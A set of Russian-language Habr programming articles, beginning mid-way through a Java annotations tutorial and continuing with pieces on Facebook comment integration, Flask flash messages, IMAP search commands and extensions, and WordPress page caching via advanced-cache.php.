Сначала создадим маркерную аннотацию для методов-тестов:
```
@Retention(RetentionPolicy.RUNTIME)
@Target(ElementType.METHOD)
public @interface Test {
}
```
Далее создадим класс `AnnotatedMethods`, в котором применим аннотацию `@Test` к методу `test1()`. Это позволит выполнить метод в рантайме. У метода `test2()` аннотации нет и он не должен выполняться.
```
public class AnnotatedMethods {
@Test
public void test1() {
System.out.println("This is the first test");
}
public void test2() {
System.out.println("This is the second test");
}
}
```
Теперь напишем код для запуска тестов из класса `AnnotatedMethods`:
```
import java.lang.annotation.Annotation;
import java.lang.reflect.Method;
public class TestAnnotatedMethods {
public static void main(String[] args) throws Exception {
Class annotatedMethodsClass = AnnotatedMethods.class;
for (Method method : annotatedMethodsClass.getDeclaredMethods()) {
Annotation annotation = method.getAnnotation(Test.class);
Test test = (Test) annotation;
// If the annotation is not null
if (test != null) {
try {
method.invoke(annotatedMethodsClass
.getDeclaredConstructor()
.newInstance());
} catch (Throwable ex) {
System.out.println(ex.getCause());
}
}
}
}
}
```
Через метод `getDeclaredMethods()` мы получаем методы класса `AnnotatedMethods`. Затем перебираем методы и проверяем, аннотирован ли метод аннотацией `@Test`. Наконец, выполняем вызов методов, которые были аннотированы с помощью `@Test`.
В результате метод `test1()` выполнится, поскольку он аннотирован `@Test`, а `test2()` нет, так как он без аннотации `@Test`.
Результат:
```
This is the first test
```
### Заключение
Мы сделали обзор основных стандартных аннотаций и рассмотрели, как создавать и обрабатывать свои аннотации.
Возможностей по использованию аннотаций гораздо больше, чем мы рассмотрели. Например, можно автоматически генерировать код для паттерна Builder. Шаблон проектирования Builder (строитель) используется как альтернатива конструкторам, когда в конструкторы передается много параметров или есть необходимость в нескольких конструкторах с необязательными параметрами. При большом количестве таких классов возможность генерации кода обработчиком аннотаций сэкономит много времени и поможет избежать дублирования кода.
Примеры кода вы можете найти на [GitHub](https://github.com/thombergs/code-examples/tree/master/core-java/annotation-processing/introduction-to-annotations).
---
Всех желающих приглашаем на Demo-занятие «Объектно-ориентированное и функциональное программирование». На вебинаре поговорим о стилях программирования и необходимости каждого из них. Разберём основные принципы объектно-ориентированного стиля (Инкапсуляция, Наследование, Полиморфизм), а также возможности функционального стиля, которые предоставляет язык Java. Регистрация для всех желающих по [**ссылке.**](https://otus.pw/4LCJ/) | https://habr.com/ru/post/655239/ | null | ru | null |
# Социализируем сайт с Facebook
Вдохновившись общением с Эндрю Босвортом на РИТ++, решил воплотить идею Facebook по социализации всего в интернете у себя на проекте [www.bitrixonrails.ru](http://www.bitrixonrails.ru), прежде всего добавив систему комментариев. Хотел рассказать о ее внедрении и узнать ваше мнение о ее полезности/удобности.
Интуиция подсказывала, что интеграция с Facebook не должна занять много времени – так оно и оказалось.
#### Реализация
Удобно то, что для разработчиков достаточно [подробно описаны](http://developers.facebook.com/connect.php) возможные варианты интеграции с временными затратами и преимуществами для проекта.
Особенно понравилась такая вот табличка:
Создал приложение (Application), [пройдя простой Мастер](http://developers.facebook.com/setup.php):
На втором шаге скачал файлик и залил его на сервер, Фейсбук его обнаружил и в результате я получил APPLICATION\_ID.
Далее в местной «песочнице» получил код, подключающий API Facebook на странице, который позволяет потом использовать фейсбуковские теги (называемые в совокупности XFBML, с приставкой 'fb:'). Теги эти выводят данные профиля авторизованного пользователя, форму комментариев и прочие элементы. Подробнее о XFBML в [документации](http://wiki.developers.facebook.com/index.php/XFBML).
Вот как выглядит этот код:
> `<div id="fb-root">div>
>
> <script>
>
> window.fbAsyncInit = function() {
>
> FB.init({
>
> appId: "YOUR\_APPLICATION\_ID",
>
> xfbml: true,
>
> cookie: true,
>
> status: true
>
> });
>
> };
>
> (function() {
>
> var e = document.createElement('script'); e.async = true;
>
> e.src = document.location.protocol + '//connect.facebook.net/en\_US/all.js';
>
> document.getElementById('fb-root').appendChild(e);
>
> }());
>
> script>
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Для подключения русского языка нужно использовать локаль ru\_RU. Для этого просто замените строчку '//connect.facebook.net/en\_US/all.js' на '//connect.facebook.net/ru\_RU/all.js'.
Для добавления формы и списка комментариев остается добавить в шаблон вывода материала такие теги:
> `<fb:comments>fb:comments>
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Выглядит это в результате так:
Самая интересная опция, безусловно, это возможность «Добавить комментарий к моему профилю на Facebook», что позволяет всем вашим друзьям видеть ваши комментарии и при желании присоединяться к обсуждению. Для [Huffington Post](http://www.huffingtonpost.com/) это отлично сработало. Вот как мой комментарий выглядит уже в самом Facebook:
По затратам времени получилось что-то вроде 2-х часов.
Такая система комментирования уже работает на сайте [«Частный корреспондент»](http://www.chaskor.ru/), о чем рассказывали и Босворт и Иван Засурский, но интересно ваше мнение о такой системе комментирования для ИТ-тематики. | https://habr.com/ru/post/91327/ | null | ru | null |
# Метод Flask flash() — Как передавать флэш-сообщения в Flask?
*В этом уроке мы узнаем как передавать флэш-сообщения с помощью метода Flask flash()*.
### Что означает передать флэш-сообщение?
Для GUI-приложений всегда полезно давать обратную связь пользователю на его действия.
То есть, например, в [форме Flask](https://www.askpython.com/python-modules/flask/flask-forms), если пользователь оставляет поле пустым, то вполне уместно выдать ему сообщение об ошибке/информацию о том, что поле является обязательным для заполнения.
В [графическом интерфейсе Python Tkinter](https://www.askpython.com/python/tkinter-gui-widgets) для отображения сообщения используется [**месседж**](https://www.askpython.com/python-modules/tkinter/tkinter-messagebox-and-radiobutton) или **диалоговое окно**, а в Client-Side Scripting Language JavaScript (Клиентский язык сценариев JavaScript) это делается с помощью функции **alert**.
Также, во Flask у нас есть метод flash, позволяющий сделать именно это.
### Как работает метод Flask flash?
Метод Flask flash показывает сообщения пользователям.
С помощью Flash мы можем создать флэш-сообщение в одном представлении Flask, а затем показать его в другом, называемом "next (следующий)", которое обычно является шаблоном (template).
Типичным примером [шаблонного](https://www.askpython.com/python-modules/flask/flask-templates) представления является:
```
@app.route('/template')
def blog():
#codes...
#codes...
return render_template('template.html')
```
Таким образом, представление Flask создает флэш-сообщение в одном представлении и затем передает его в **следующее** (вместе с запросом), которое отображает сообщение пользователю.
Синтаксис для Flash:
```
flash(message,category)
```
Здесь,
* **message :** Сообщение для отображения
* **category :** (Категория). Необязательный параметр, который может быть установлен в "error" (ошибка), "info" (информация) или "warning" (предупреждение).
Чтобы извлечь флэш-сообщение из сессии, где оно хранится, и отобразить его на шаблоне, мы используем функцию **get\_flashed\_messages()**.
```
get_flashed_messages(with_categories, category_filter)
```
Здесь,
* **with\_categories :** Необязательный кортеж параметров для упоминания категории (ошибка/информация/предупреждение)
* **category\_filter :** Необязательный параметр для фильтрации и отображения только определенных сообщений.
Простой пример, показывающий **get\_flashed\_message()** в файле Template:
```
{% with messages = get_flashed_messages() %}
{% if messages %}
{% for message in messages %}
{{ message }}
{% endfor %}
{% endif %}
{% endwith %}
```
### Использование метода flash() во Flask на практике
Здесь мы создадим простое Flask-приложение, которое будет выдавать флэш-сообщение - **login successful (успешный вход)**, если пользователь ввел правильный пароль.
**1) Кодирование файла приложения Flask**
Здесь мы покажем простую форму, в которой вводится пароль. Если пароль правильный, то выводится флэш-сообщение.
```
from flask import Flask,render_template,request,redirect,flash
app = Flask(__name__)
@app.route('/form')
def form():
return render_template('form.html')
@app.route('/login', methods = ['POST', 'GET'])
def login():
if request.method == 'GET':
return "Login via the login Form"
if request.method == 'POST':
password = request.form['password']
if password == '123':
#The following flash message will be displayed on successful login
flash('Login successful')
return render_template('success.html')
else:
return redirect('/form')
```
Здесь **success.html** является "следующим" шаблоном, так как сообщение будет появляться там.
Вот и все!!! давайте теперь закодируем шаблоны.
**2) Кодирование шаблонов**
form.html будет иметь вид:
```
password
```
А также файл шаблона Success.html:
```
{% with messages = get_flashed_messages() %}
{% if messages %}
{% for message in messages %}
{{ message }}
{% endfor %}
{% endif %}
{% endwith %}
User Authenticated
------------------
```
Обратите внимание, как мы использовали здесь функцию **get\_flashed\_messages()**.
**3) Реализация**
Вот и все!!! Давайте теперь запустим сервер и проверим нашу веб-страницу
Нажмите **"/form"**:
Форма
Введите **1234** и нажмите кнопку отправить
Вход в систему
И вот оно, наше флэш-сообщение прямо на экране.
### Заключение
Вот и все по этому уроку, ребята! Надеюсь, вы получили достаточно знаний, чтобы использовать метод Flash в своих веб-приложениях. Ознакомьтесь с нашей статьей [Flask Forms](https://www.askpython.com/python-modules/flask/flask-forms), чтобы узнать больше о формах.
Увидимся в следующей статье! Счастливого кодинга!!!
> Методы класса (classmethod): нужны ли они? Приглашаем всех на бесплатный урок, где поговорим об особенностях ООП в python: о наследовании и миксинах. Рассмотрим ситуации, когда без classmethod не обойтись. Посмотрим на реализации в известных библиотеках.
>
> - [Зарегистрироваться на бесплатный урок](https://otus.pw/cwGz/)
>
> | https://habr.com/ru/post/692820/ | null | ru | null |
# Gotta go fast. Поиск в почтовом клиенте IMAP
Приветствую вас в заключительной статье о возможностях IMAP. В предыдущих статьях [Быстрая синхронизация писем по IMAP](https://habr.com/ru/post/492074/) и [Оптимизация запросов содержимого письма по IMAP](https://habr.com/ru/post/495956/) мы рассмотрели базовые операции над папками и письмами, научились слушать новые письма, оптимизировать синхронизацию и загрузку контента писем. В этой статье я поведаю вам как работает поиск и как его можно накачать стероидами.
Кто ищет, тот запускает SEARCH
------------------------------
Поиск по письмам в IMAP без расширений производится командой [SEARCH](https://tools.ietf.org/html/rfc3501#section-6.4.4). Я не буду описывать все возможные параметры для поиска, а лишь пробегусь по самым используемым. Для начала конечно нужно залогинится и выбрать папку. В стандарте IMAP без расширений нет возможности искать по всем папкам сразу. Давайте попробуем запустить простенький поиск, например найдем только непрочитанные письма. Для этого воспользуемся параметром UNSEEN.
```
1 SEARCH UNSEEN
* SEARCH 18687 18690 18691 18694 18695 18696 18707 18720 18724 18725 18727 18738 18759 18761 18765 18767 18769 …
```
Из этого куска понятно, что сервер возвращает нам не сами письма, а только их порядковые номера. Для получения контента писем дополнительно на каждый такой номер нужно вызвать команду FETCH.
Ладно, это совсем просто, а что нужно сделать чтобы найти письма по тексту? Для этого в стандарте прописано аж два параметра: BODY и TEXT. Разница лишь в том, что второй параметр ищет в том числе и в заголовках письма, когда как первый только в контенте. Допустим найдем письмо с текстом «mail»
```
1 SEARCH BODY mail
* SEARCH 1 3 4 5 6 7 8 9 … 21412 21413 21414 21415
1 OK Search completed (5.900 + 0.001 + 0.538 secs).
```
Ого, их так много. И все это заняло у нас 6 секунд, нехило. Все дело в том что поиск выдает нам совпадение по подстрокам. То есть любое письмо, которое содержит любое вхождение слова «mail» вернется нам в ответе.
Ну хорошо, рассмотрим как искать письма по датам. Поможет в этом нам два параметра: BEFORE и SINCE. Чтобы найти письма до указанной даты, нам, вестимо, следует использовать BEFORE, когда как после этой даты, SINCE. Дата пишется в формате [RFC2822](https://tools.ietf.org/html/rfc2822#section-3.3). Дата не включает время и таймзону.
```
1 search before 1-Feb-2020
* SEARCH 1 2 3 4 5 6 7 8 9 10 …
1 SEARCH SINCE 1-Feb-2020
* SEARCH 18383 18384 18385 18386 …
```
Выглядит просто. IMAP позволяет нам искать даже по заголовкам письма. Это дает нам возможность искать только те письма, у которых, например, есть аттач. Делается это с помощью параметра
```
HEADER
```
где field-name это имя заголовка, а string — его значение. Для наших целей мы будем искать по Content-Disposition с значением attachment
```
1 SEARCH HEADER Content-Disposition attachment
* SEARCH 21202 21211 21212 21213 21215 21216 21219 …
```
Таким образом мы можем создать какую-нибудь виртуальную папку, где будут отображаться только письма с каким-либо аттачем. При заходе в такую папку мы вместо загрузки писем с помощью FETCH просто воспользуемся командой SEARCH с параметрами выше.
Ещё раз обращу внимание: без расширений стандарта IMAP искать можно только по выбранной папке. Если вы хотите искать вообще по всем папкам, придется выходить из текущей и заходить в следующую, и так для каждой.
Когда мы говорим о таких простых запросах, мы забываем что поиск может происходить и по нескольким параметрам. Что предлагаем нам IMAP? Использовать логические операции, само собой! Для этого предусмотрено целых два параметра: NOT и OR. Думаю из их названия понятно что они делают. Не существует логической операции AND, для таких запросов нужно просто перечислять параметры через пробел.
```
1 SEARCH BEFORE 1-Feb-2020 FLAGGED
* SEARCH 706 708 1346 1347 1348 1351 …
1 SEARCH OR BEFORE 1-Feb-2020 SINCE 1-Feb-2020
* SEARCH 1 2 3 4 5 6 7 8 9 10 11 …
1 SEARCH NOT BEFORE 1-Feb-2020
* SEARCH 18383 18384 18385 18386 …
```
Обратите внимание что для OR параметры записываются справа от логической операции, как в префиксной нотации. Например для трех параметров выглядеть это будет так
```
1 SEARCH OR OR HEADER Content-Disposition attachment BEFORE 1-Feb-2020 FLAGGED
* SEARCH 1 2 3 4 5 …
```
Все по порядку
==============
Наверняка вы заметили, что результаты поиска отсортированы лишь по номеру сообщений. Что делать если мы хотим отсортировать, допустим, по теме письма, или ещё каким-нибудь замысловатым образом. Для этого нужно обратить внимание на команду [SORT](https://tools.ietf.org/html/rfc5256). Она делает то, что мы от него ожидаем — сортирует результаты поиска по какому либо параметру.
```
1 SORT (SUBJECT) UTF-8 BEFORE 1-Feb-2020
* SORT 395 396 397 398 399 400 401 402 403
```
Сравните результат вывода с обычным SEARCH. Сервер отсортировал нам сообщения по теме письма. Дополнительно в этой команде нам следует прописать ещё и чарсет параметра (UTF-8). Другие параметры вы можете посмотреть в [tools.ietf.org/html/rfc5256](https://tools.ietf.org/html/rfc5256)"">RFC. В них включены DATE, ARRIVAL, CC, FROM, SIZE, TO, и REVERSE. Последний параметр просто реверсит сортировку, остальные, думаю, понятны по названию.
Если вы отвечаете или пересылаете сообщение создается цепочка сообщений. Для запроса таких цепочек используется команда THREAD. Данная команда использует два параметра: ORDEREDSUBJECT и REFERENCES. Они описывают алгоритм построения цепочки. Сама команда THREAD работает как SEARCH, только в ответе она выводит номера сообщений, отформатированных в цепочки. Сообщения берутся из заданных поисковых параметров. Давайте я попробую получить какую-нибудь цепочку по теме сообщений. Для её вывода я использую поисковый параметр SUBJECT, чтобы ограничить вывод только конкретными письмами. Заранее сделаю себе цепочку из трех писем.
```
1 THREAD ORDEREDSUBJECT UTF-8 SUBJECT «Thread 1»
* THREAD (21416 (21417)(21418))
```
В ответе приходят номера сообщений, где корень цепочки находится первым в скобках, а в каждой новой скобке находятся его листья. То есть каждая открывающая скобка обозначает корень цепочки. Добавим ещё одно сообщение в цепочку и посмотрим как поменялся вывод
```
* THREAD (21416 (21417)(21418)(21419))
```
Хорошо, новое письмо есть, оно находится в цепочке. Попробуем добавить подцепь в какой-нибудь месседж из цепочки и посмотрим снова результат.
```
* THREAD (21416 (21417)(21418)(21419))
```
Упс, что-то пошло не так. Дело тут в том, что алгоритм ORDEREDSUBJECT не всегда может составить цепочку по теме. В примере выше достаточно добавить подцепь, которая будет иметь другую тему и мы уже его не видим в цепочке. И тут нужно обратить внимание на параметр REFERENCES. Он для построения цепочки использует специальный заголовок References в письме. Выглядит он примерно так
```
References: <922cf7ab0065f8424be7bae17d1cd298@xxx.yyy.com>
<0faa73efb3e21eb12ee00e9ac4e7c5d0@xxx.yyy.com>
```
Такой заголовок есть в каждом письме в цепочки, и он обозначает какие письма связаны с данным. Каждый такой reference представляет из себя заголовок Mesasge-ID письма. Теперь перейдем к запросу, он будет почти такой же, только мы возьмем параметр REFERENCES.
```
1 THREAD REFERENCES UTF-8 SUBJECT «Thread 1»
* THREAD (21416 21417 (21418)(21419 21420))
```
Можно выдохнуть, подцепочка не потерялась. Здесь у 16 сообщения есть в цепочке сообщения 17, у 17 есть подцепочка 18 и подцепочка из 19 и 20. Чтобы въехать в эту структуру со скобками в RFC по SORT есть хороший пример где цепочке вида
```
* THREAD (2)(3 6 (4 23)(44 7 96))
```
соответствует такое дерево
Достаем конвейер
----------------
Давайте рассмотрим что у нас там по поиску по контенту. В последний раз когда мы искали что-то внутри письма по тексту у нас заняло это 6 секунд
```
1 OK Search completed (5.900 + 0.001 + 0.538 secs)
```
Сразу возникают плохие мысли. Это что-же, нам теперь для десяти папок нужно ждать целую минуту на поиск? А если больше десяти? Для облегчения нашей жизни было создано расширение [SEARCHRES](https://tools.ietf.org/html/rfc5182). Оно позволяет запомнить найденные письма и запросить их как-нибудь потом. В этом расширении добавляется команда RETURN с параметрами ALL, SAVE, MIN, MAX, COUNT. ALL используется для форматированного вывода номеров сообщений, подходящих под запрос, SAVE для сохранение этих номеров для следующей операции, MIN для вывода самого минимального номера, MAX для самого максимального и, наконец, COUNT выводит количество найденных сообщений. Какой профит от всего этого? А их несколько:
* Снижение трафика, так как вывод такого запроса не включает номера сообщений
* Возможность создавать конвейер из запросов (FETCH, COPY, MOVE, e.t.c)
* Не нужно разбирать список номеров сообщений, чтобы потом использовать его в других запросах
* Сервер может распараллелить несколько таких поисковых команд, а не блокировать сессию для ожидания результата.
Рассмотрим на простых примерах. Чтобы сохранить результат поиска нужно использовать в запросе параметр RETURN (SAVE)
```
1 SEARCH RETURN (SAVE) BODY «mail»
1 OK Search completed (5.518 + 0.001 + 0.100 secs).
```
Стоп, но ведь никак время не поменялось. А оно и не изменится, но зато после запроса SEARCH мы можем делать любые другие операции, пока сервер занят поиском, этот вызов не блокирует нам сессию, а значит эти 5 секунд мы можем потратить на что-то полезное.
Теперь, чтобы использовать результат поиска, мы в запросе FETCH вместо кучи номеров сообщений просто используем символ «$»
```
1 FETCH $ (UID)
* 11005 FETCH (UID 12023)
* 11006 FETCH (UID 12024)
* 11007 FETCH (UID 12025)
* 11008 FETCH (UID 12026)
…
```
Стало гораздо проще. Раньше нам стоило запомнить огромный список, который нам выводил запрос, и по каждому из номеров сообщений запускать команду FETCH. Теперь же нам достаточно использовать ранее сохраненный результат поиска и не тратить сетевой ресурс. Тот результат, который мы сохранили, можно использовать несколько раз, выстраивая при этом цепочку операций. Каждый такой новый запрос перетирает результат старого, так что будьте внимательны.
С ALL все чуть посложнее, но все еще приятнее чем стандартный SEARCH. Он будет работать на сервере и когда запрос закончится, он нас оповестит.
```
1 SEARCH RETURN (ALL) BODY «mail»
* ESEARCH (TAG «1») ALL 1,3:77,79:112,114:118,120:144,146:159, ....
1 OK Search completed (5.771 + 0.001 + 0.115 secs)
```
Тут он нам выводит список номеров сообщений, и если сообщения можно схлопнуть, то есть использовать интервал, он за нас это сделает. Как это в теории может помочь: например мы хотим сделать что-то типа паджинации, запрашивать и выводить не весь список целиком, а только, например, первые 20. Тогда нам нужно распарсить этот список и отсчитать 20 первых сообщений, и потом их получить с помощью FETCH. В примере выше можно запросить так
```
1 FETCH 1 (UID)
* 1 FETCH (UID 1)
1 OK Fetch completed (0.001 + 0.000 secs).
1 FETCH 3:22 (UID)
* 3 FETCH (UID 3)
* 4 FETCH (UID 4)
* 5 FETCH (UID 5)
* 6 FETCH (UID 6)
* 7 FETCH (UID 7)
…
```
В этом случае мы можем после долгого поиска сделать достаточно быстрый вывод результатов, вместо огромной пачки писем в обычном запросе.
Для MIN и MAX мне трудно придумать кейс. Их результат обычно это один месседж, с минимальным или максимальным номером сообщения соответственно. Эти параметры можно комбинировать. Например вызвать RETURN (SAVE ALL) или RETURN (SAVE MIN MAX). Результат будет отличаться в зависимости от параметров в скобках, например для (MIN MAX) вернется только два письма, для (MIN MAX ALL) вернуться минимальный, максимальный и все письма.
Чтобы доказать что данное расширение не блокирует сессию я проведу два поиска одновременно
```
1 SEARCH RETURN (ALL) BODY «mail»
2 SEARCH RETURN (ALL) FLAGGED
* ESEARCH (TAG «2») ALL 706,708,1346:1348, ...
* ESEARCH (TAG «1») ALL 1,3:77,79:112,114:118, …
```
Можно заметить, что относительно легкий запрос прошёл раньше и мы уже можем использовать его результат. Второй тяжелый запрос пришёл позже и не помешал нам с первым.
Мы тебя везде найдем
--------------------
В этой части статьи мы рассмотрим достаточно редкое, но полезное расширение стандарта IMAP [MULTISEARCH](https://tools.ietf.org/html/rfc7377). Не думаю что вы сможете найти сервер с таким capability, но для общего развития я все же его рассмотрю.
Недостатком предыдущих команд была невозможность поиска сразу по всем папкам. Приходится открывать каждую папку и запускать отдельный поиск. Данное расширение стандарта позволяет нам миновать такую обидную проблему. Я, к своему сожалению, не смог найти сервер, который бы смог работать с такой командой, поэтому я с вашего позволения просто буду использовать код запросов из документа. Важно чтобы ваш сервер поддерживал два capability: [ESEARCH](https://tools.ietf.org/html/rfc4731) и MULTISEARCH. Это расширение позволяет выбрать конкретные папки для поиска
```
C: tag1 ESEARCH IN (mailboxes «folder1» subtree «folder2») unseen
C: tag2 ESEARCH IN (mailboxes «folder1» subtree-one «folder2») subject «chad»
S: * ESEARCH (TAG «tag1» MAILBOX «folder1» UIDVALIDITY 1) UID ALL 4001,4003,4005,4007,4009
S: * ESEARCH (TAG «tag2» MAILBOX «folder1» UIDVALIDITY 1) UID ALL 3001:3004,3788
S: * ESEARCH (TAG «tag1» MAILBOX «folder2/banana» UIDVALIDITY 503) UID ALL 3002,4004
S: * ESEARCH (TAG «tag1» MAILBOX «folder2/peach» UIDVALIDITY 3) UID ALL 921691
S: tag1 OK done
S: * ESEARCH (TAG «tag2» MAILBOX «folder2/salmon» UIDVALIDITY 1111111) UID ALL 50003,50006,50009,50012
S: tag2 OK done
```
В первом запросе мы ищем по папке «folder1» в конкретной ветке подпапок «folder2». Второй запрос добавляет условие, что нужно искать конкретно в подпапке «folder2». Как и предыдущие примеры, эти две команды работают параллельно, ничего не мешает запустить и больше запросов.
Заключение
----------
Данной статьей я заканчиваю серию по IMAP. Далеко не все возможности этого мощного протокола были рассмотрены. Как я и говорил в первой части, я хотел написать такую статью, которая бы помогла мне в самом начале моего пути. Этими простыми примерами и базовыми командами я хотел показать возможности по оптимизации работы с почтой и снова подчеркнуть как важно понимать свою предметную область. Для тех, кто прочитал всю серию, я рекомендую самим побаловаться с этим протоколом и, может быть, заметить фишки которые я пропустил и больше вникнуть в работу IMAP. Спасибо что дочитали до конца! | https://habr.com/ru/post/525172/ | null | ru | null |
# Страничное кеширование в WordPress
В последнее время на Хабре появилось довольно много постов по данной теме, но по своей сути их можно назвать: «Смотрите, я поставил Varnish / W3 Total Cache и держу миллион запросов на «Hello world» страничке». Данная же статья рассчитана больше на гиков, желающих познать, как же это все работает и написать собственный плагин для страничного кеширования.
Зачем?
------
Стандартный вопрос, который возникает у каждого разработчика перед созданием ~~велосипеда~~ уже существующего функционала. Действительно, готовых плагинов уйма и многие из них довольно качественные, но нужно понимать что в первую очередь они рассчитаны на статические блоги. Что же делать, если у вас не стандартный WordPress сайт?
Приступим
---------
### Какие инструменты предоставляет нам WordPress?
Как все знают, данная CMS позволяет легко расширять свою функциональность с помощью плагинов, но не все знают, что есть несколько типов плагинов:
* **обычные плагины**
*находятся в wp-content/plugins*
администратор может их свободно устанавливать, активировать и деактивировать;
* **обязательные плагины**
*находятся в wp-content/mu-plugins*
данные плагины включаются автоматически и не могут быть деактивированы;
* **системные плагины**
*находятся в wp-content*
позволяют переопределять классы ядра или внедрять в них собственный функционал;
к ним относятся:
+ **sunrise.php**
Подгружается в самом начале инициализации ядра. Чаще всего используется для domain mapping;
+ **db.php**
Позволяет переопределять стандартный класс для работы с базой данных;
+ **object-cache.php**
Позволяет переопределись стандартный класс объектного кеширования, например если захотите использовать Memcached или Redis;
+ **advanced-cache.php**
Позволяет реализовать страничное кеширование, то что нам и нужно!
### advanced-cache.php
Для того, чтобы данный плагин начал функционировать, его нужно поместить в директорию *wp-content*, а в *wp-config.php* добавить строку:
```
define('WP_CACHE', true);
```
Если заглянуть в код WordPress, то можно увидеть, что данный скрипт подгружается на раннем этапе загрузки платформы.
```
// wp-settings.php:63
// For an advanced caching plugin to use. Uses a static drop-in because you would only want one.
if ( WP_CACHE )
WP_DEBUG ? include( WP_CONTENT_DIR . '/advanced-cache.php' ) : @include( WP_CONTENT_DIR . '/advanced-cache.php' );
```
Также, после загрузки ядра, CMS попытается вызвать функцию wp\_cache\_postload(), но о ней позже.
```
// wp-settings.php:226
if ( WP_CACHE && function_exists( 'wp_cache_postload' ) )
wp_cache_postload();
```
### Хранилище
Для хранения кеша лучше всего использовать быстрые хранилища, так как от их скорости напрямую зависит скорость отдачи контента из кеша. Я бы не советовал использовать MySql или файловую систему, гораздо лучше с этим справятся Memcached, Redis или другие хранилища, использующие оперативную память.
Мне лично нравится Redis, так как им довольно просто пользоваться, имеет хорошие показатели скорости чтения\записи и как приятный бонус — сохраняет копию данных на жесткий диск, что позволят не терять информацию при перезагрузке сервера.
```
$redis = new Redis();
// подключение к серверу
$redis->connect( 'localhost' );
// сохранить данные $value под ключем $key на время $timeout
$redis->set( $key, $value, $timeout );
// получить данные по ключу $key
$redis->get( $key );
// удалить данные по ключу $key
$redis->del( $key );
```
Разумеется это не полный перечень методов, весь список API можно изучить на [официальном сайте](http://redis.io/commands), но для большинства задач этого достаточно.
Если на сайте используется прокаченный объектный кеш (*object-cache.php*), то имеет смысл использовать его API:
```
wp_cache_set( $key, $value, $group, $timeout );
wp_cache_get( $key, $group );
wp_cache_delete( $key, $group );
```
### Простейшое страничное кеширование
Код нарочно упрощен, многие проверки убраны, дабы не путать читателя лишними конструкциями и сфокусироватся на логике самого кеширования. В файл *advanced-cache.php* прописываем:
```
// если как хранилище используется объектный кеш, то его нужно инициализировать вручную,
// поскольку на данном этапе загрузки он еще не загружен
wp_start_object_cache();
// формируем ключ
// чаще всего это URL страницы
$key = 'host:' . md5( $_SERVER['HTTP_HOST'] ) . ':uri:' . md5( $_SERVER['REQUEST_URI'] );
// берем данные из кеша по ключу
if( $data = wp_cache_get( $key, 'advanced-cache' ) ) {
// если данные существуют, отображаем их и завершаем выполнение
$html = $data['html'];
die($html);
}
// если данных нет, продолжаем выполнение
// не сохраняем в кеш запросы админ панели
if( ! is_admin() ) {
// перехватываем буфер вывода
ob_start( function( $html ) use( $key ) {
$data = [
'html' => $html,
'created' => current_time('mysql'),
'execute_time' => timer_stop(),
];
// после генерации страницы сохраняем данные в кеш на 10 минут
wp_cache_set($key, $data, 'advanced-cache', MINUTE_IN_SECONDS * 10);
return $html;
});
}
```
Все, вы получили простейший рабочий страничный кеш, теперь рассмотрим каждый участок детальнее.
**Создание ключа**
```
$key = 'host:' . md5( $_SERVER['HTTP_HOST'] ) . ':uri:' . md5( $_SERVER['REQUEST_URI'] );
```
В данном случае ключем является URL страницы. Использование глобальной переменной *$\_SERVER* и хеширования нельзя назвать лучшей практикой, но для простого примера подойдет. Советую добавлять разделяющие участки строки как «host:» и «uri:», так как их удобно использовать в регулярных выражениях. Например получить все ключи по определенному хосту:
```
$keys = $redis->keys( 'host:' . md5( 'site.com' ) . ':*' );
```
**Выдача из кеша**
```
// берем данные из кеша по ключу
if( $data = wp_cache_get( $key, 'advanced-cache' ) ) {
// если данные существуют, отображаем их и завершаем выполнение
$html = $data['html'];
die($html);
}
```
Тут все просто, если кеш уже создан, то выдаем его пользователю и завершаем выполнение.
**Сохранение в кеш**
PHP функция *ob\_start* перехватывает весь последующий вывод в буфер и позволяет обработать его в конце работы скрипта. Простыми словами мы получаем весь контент сайта в переменной $html.
```
ob_start( function( $html ) {
// $html - HTML код готовой страницы
return $html;
}
```
Далее сохраняем данные в кеш:
```
$data = [
'html' => $html,
'created' => current_time('mysql'),
'execute_time' => timer_stop(),
];
wp_cache_set($key, $data, 'advanced-cache', MINUTE_IN_SECONDS * 10);
```
Есть смысл сохранять не только HTML, но и прочую полезную информацию: время создания кеша и тд. Очень рекомендую сохранять HTTP заголовки, хотя бы *Content-Type* и посылать их при выдаче из кеша.
### Совершенствуем
В примере выше мы использовали функцию *is\_admin()* для исключения кеширования админ панели, но данный способ не очень практичен по двум причинам:
* запросы на *admin-ajax.php* не попадают в кеш;
* если администратор первым посетит страницу, то в кеш попадет его «admin bar» и прочие вредные для пользователей вещи;
Наилучшим решением для простого сайта будет вообще не использовать кеш для залогиненых пользователей (администраторов). Так как *advanced-cache.php* выполняется до полной загрузки ядра, мы не можем пользоваться функцией *is\_user\_logged\_in()* , но можем определить наличие аутентификации по cookie (как известно WordPress не использует сессии).
```
// проверяем наличие cookie wordpress_logged_in_*
$is_logged = count( preg_grep( '/wordpress_logged_in_/', array_keys( $_COOKIE ) ) ) > 0;
// сохраняем кеш только не залогиненых пользователей
if( ! $is_logged ) {
ob_start( function( $html ) use( $key ) {
// ....
return $html;
});
}
```
### Усложняем задачу
Допустим, наш сайт отдает разный контент для пользователей из разных регионов или стран. В данном случае ключем кеша должен быть не только URL страницы, но и регион:
```
$region = get_regeon_by_client_ip( $_SERVER['REMOTE_ADDR'] );
$key = 'host:' . md5( $_SERVER['HTTP_HOST'] ) . ':uri:' . md5( $_SERVER['REQUEST_URI'] ) . ':region:' . md5( $region );
```
По данному принципу мы можем формировать разный кеш разным группам пользователей по любым параметрам.
### wp\_cache\_postload()
Данная функция вызывается после загрузки ядра и ее тоже удобно использовать в некоторых случаях.
По опыту скажу, что такой вариант работает гораздо стабильней:
```
function wp_cache_postload() {
add_action( 'wp', function () {
ob_start( function( $html ) {
// ...
return $html;
});
}, 0);
}
```
На момент вызова *wp\_cache\_postload()*, функция add\_action уже существует и ей можно пользоваться.
Бывают ситуации, когда для формирования ключа кеша нужны данные, которые невозможно получить из cookie, IP и прочих доступных на этапе инициализации ресурсов. Например нужно генерировать индивидуальный кеш для каждого пользователя (иногда это имеет смысл).
```
function wp_cache_postload() {
$key = 'host:' . md5( $_SERVER['HTTP_HOST'] ) . ':uri:' . md5( $_SERVER['REQUEST_URI'] )
. ':user:' . get_current_user_id();
if( $data = wp_cache_get( $key, 'advanced-cache' ) ) {
$html = $data['html'];
die($html);
}
add_action( 'wp', function () {
ob_start( function( $html ) {
// ...
return $html;
});
}, 0);
}
```
